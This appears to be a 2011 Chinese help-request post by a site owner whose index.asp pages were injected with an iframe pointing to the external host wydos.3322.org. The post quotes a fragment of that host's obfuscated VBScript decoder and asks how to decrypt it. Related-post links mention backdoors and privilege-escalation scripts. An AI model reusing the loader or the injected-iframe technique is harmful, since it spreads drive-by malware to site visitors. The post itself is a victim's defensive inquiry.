Trojan.DL.VBS.Agent.r 脚本病毒 ASP解密
2011年04月18日
Trojan.DL.VBS.Agent.r 脚本病毒
问题:1.Trojan.DL.VBS.Agent.r 的情况
2.ASP解密 怎么用?
描述:
打开我的网站时,瑞星显示有这种病毒Trojan.DL.VBS.Agent.r
病毒位置:C:\Documents and Settings\Administrator.MS-E496B8708F13\Local Settings\Temporary Internet Files\Content.IE5
\ALNSDGZI xx[1].htm
下载整个网站,用最新瑞星查不出来。
后在网站的所有的index.asp(包括子目录)中都发现:代码中最后位置加了这么句代码:
打开这个页只有个 统计。又iframe了。
最后找到这个页:http://wydos.3322.org/kehu.htm
代码如下:(加密的)
hu="琳 >tpircs/""tpircSBV""=egaugnal tpircs "琳" then
temp = Mid(cc, i, 1) + temp
else
temp=vbcrlf&temp
end if
next
UnEncode=temp
end function
document.write(UnEncode(hu))
下载WEBfree_web.exe 解密却不能运行。没有装VB。装个VB运行库还是少文件:richtx32.ocx
网上baidu了下,没有找到。
有高人在的请指点!小弟先谢了。
发表评论
-
[转]命令行创建快捷方式的批处理脚本
2012-01-20 10:02 930[转]命令行创建快捷方式的批处理脚本 2010年10月27日 ... -
自动化测试规范小结
2012-01-20 10:02 879自动化测试规范小结 20 ... -
自动获取CPU使用率的脚本
2012-01-20 10:02 1117自动获取CPU使用率的脚本 2011年04月28日 一个 ... -
业务组件学习资料
2012-01-20 10:01 653业务组件学习资料 2011 ... -
批量修改多个文件内容的脚本
2012-01-20 10:01 1032批量修改多个文件内容的脚本 2010年07月30日 如果 ... -
【黑客】利用VBS脚本让QQ永远在线,等级速升
2012-01-19 15:03 566【黑客】利用VBS脚本让QQ永远在线,等级速升 2010年0 ... -
用vbs实现获取电脑硬件信息的脚本-1
2012-01-19 15:03 936用vbs实现获取电脑硬件信息的脚本-1 2011年11月19 ... -
Adsutil.vbs在脚本入侵中的妙用
2012-01-19 15:03 531Adsutil.vbs在脚本入侵中的妙用 2011年03月0 ... -
利用VBS脚本让qq永远在线
2012-01-19 15:03 615利用VBS脚本让qq永远在线 2011年06月07日 让 ... -
vbs脚本实例
2012-01-19 15:03 744vbs脚本实例 2011年02月28日 rem 结束QQ ... -
FLTK简介
2012-01-17 04:49 917FLTK简介 2011年11月22日 ... -
J2SE简介与J2EE、J2ME的比较
2012-01-17 04:49 480J2SE简介与J2EE、J2ME的比较 2010年06月15 ... -
cegui基础
2012-01-17 04:49 1224cegui基础 2010年11月12日 ... -
perfHUD使用说明
2012-01-17 04:49 665perfHUD使用说明 2011年04月14日 perf ... -
数学二分法解方程vbs脚本――超简单的
2012-01-16 03:40 778数学二分法解方程vbs脚本――超简单的 2009年10月31 ... -
VBS脚本
2012-01-16 03:40 697VBS脚本 2011年06月30日 我用VBS写的往EX ... -
xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本+提权VBS 整理收集
2012-01-16 03:40 931xp、2003开3389+非net创建管理用户+Shift后门 ... -
双击盘符提示“Windows脚本宿主”无法找到脚本文件autorun.vbs的解决办法
2012-01-16 03:40 864双击盘符提示“Windows脚本宿主”无法找到脚本文件auto ...
相关推荐
安铁诺Trojan.VBS.StartPage.dy专杀 V2010.exe。针对1KB病毒
【标题】"Trojan专杀工具"是一款针对Trojan病毒设计的专业清除软件,它能够有效地检测和清除系统中的特洛伊木马病毒。特洛伊木马,简称Trojan,是一种恶意软件,常以伪装成合法软件的方式诱导用户下载安装,从而在...
俄罗斯安全软件Dr.Web,Trojan. Plastix木马感染文件解除工具plstfix
【病毒名称】:Trojan-Downloader.Win32.Generic.a 【病毒类型】:下载者 【危害程度】:中 【传播方式】:网络 【受影响系统】:windows 98以上 病毒行为: 该病毒为下载者木马类,病毒运行后调用API获取系统文件夹...
RakhniDecryptor,即卡巴斯基Rakhni勒索病毒解密工具,可以解密Rakhni在内的15种勒索病毒软件,其中还包括一款安卓勒索软件"Trojan-Ransom.AndroidOS.Pletor",如果你的电脑或安卓手机感染了勒索病毒,可以使用该...
俄罗斯安全软件大蜘蛛Dr.Web,木马解锁工具.
RannohDecryptor是卡巴斯基推出的一个Rannoh勒索病毒解密工具,可以解密Rannoh在内的7款勒索软件加密的文件,包括Polyglot、Rannoh、AutoIt、Fury、Crybola、Cryakl以及CryptXXX,您的电脑感染了勒索病毒,重要文件...
该病毒属于Trojan.Generic.Is.536802类别,能够在感染计算机后对系统造成严重影响,如运行速度减慢、频繁蓝屏、错误提示以及自动重启等问题。 #### 二、病毒特征 1. **文件修改与生成:** 感染该病毒后,会在硬盘...
Trojan is a stable and efficient mobile lightweight log SDK that not only records general logs, such as Http, power changes, component life cycles, but also records the definition of the log, which it...
RECYCLER.exe变种,GHOST.PIF变种,KPE.exe(EKS.exe) Trojan.DL.VB.nua,services.exe变种,sysauto.exe变种,myserver变种,pegefile.pif(Trojan.PSW.Win32.Agent.mk), autorun.exe (Worm.Win32.Agent.h)等
js.scob.trojan
2020年trojan最新windows64客户端
标题中的“Trojan-Dropper.Win32.Dropkit.a清除工具”表明了这是一个专门用于清除特定类型电脑病毒的工具包。这种病毒属于Windows平台上的特洛伊木马病毒(Trojan Horse),并且它是一个dropper,意味着它的主要功能...
6. **反反病毒**:为避免被反病毒软件检测到,Java木马可能包含反反病毒策略,如自我更新、变异、模拟正常行为等。 分析这个"java-trojan-源码.zip"文件时,我们可以关注以下几点: - **源码结构**:查看源码目录...
本文将为您介绍四种不同的病毒:Dropper.Win32.Agent.bd、Trojan.DL.IeFrame、Worm.Win32.Agent 和 Worm.Viking.is,以及它们的清除方法。 一、Dropper.Win32.Agent.bd 病毒分析 Dropper.Win32.Agent.bd 病毒使用 ...
通过对 “冰河”、 “蓝色火焰”、 “BO”、 “广外女生”、 “黑洞”、 “网结”病毒(Worm.Plexus.b)、 “将死者”病毒(Worm.Gone.38912)、 “恶鹰”病毒(Worm.Beagle)、 “网络天空”病毒(Worm.NetSky)、传奇叛逆...
这个程序的主要功能是检测并清除系统中可能存在的木马病毒,特别是那些像"Trojan.Malscript!html"这样具有高度威胁性的木马。 【描述】中的"可查杀最新木马"意味着该程序具备了最新的病毒库更新,能够有效地识别和...
NULL 博文链接:https://polygoncell.iteye.com/blog/733264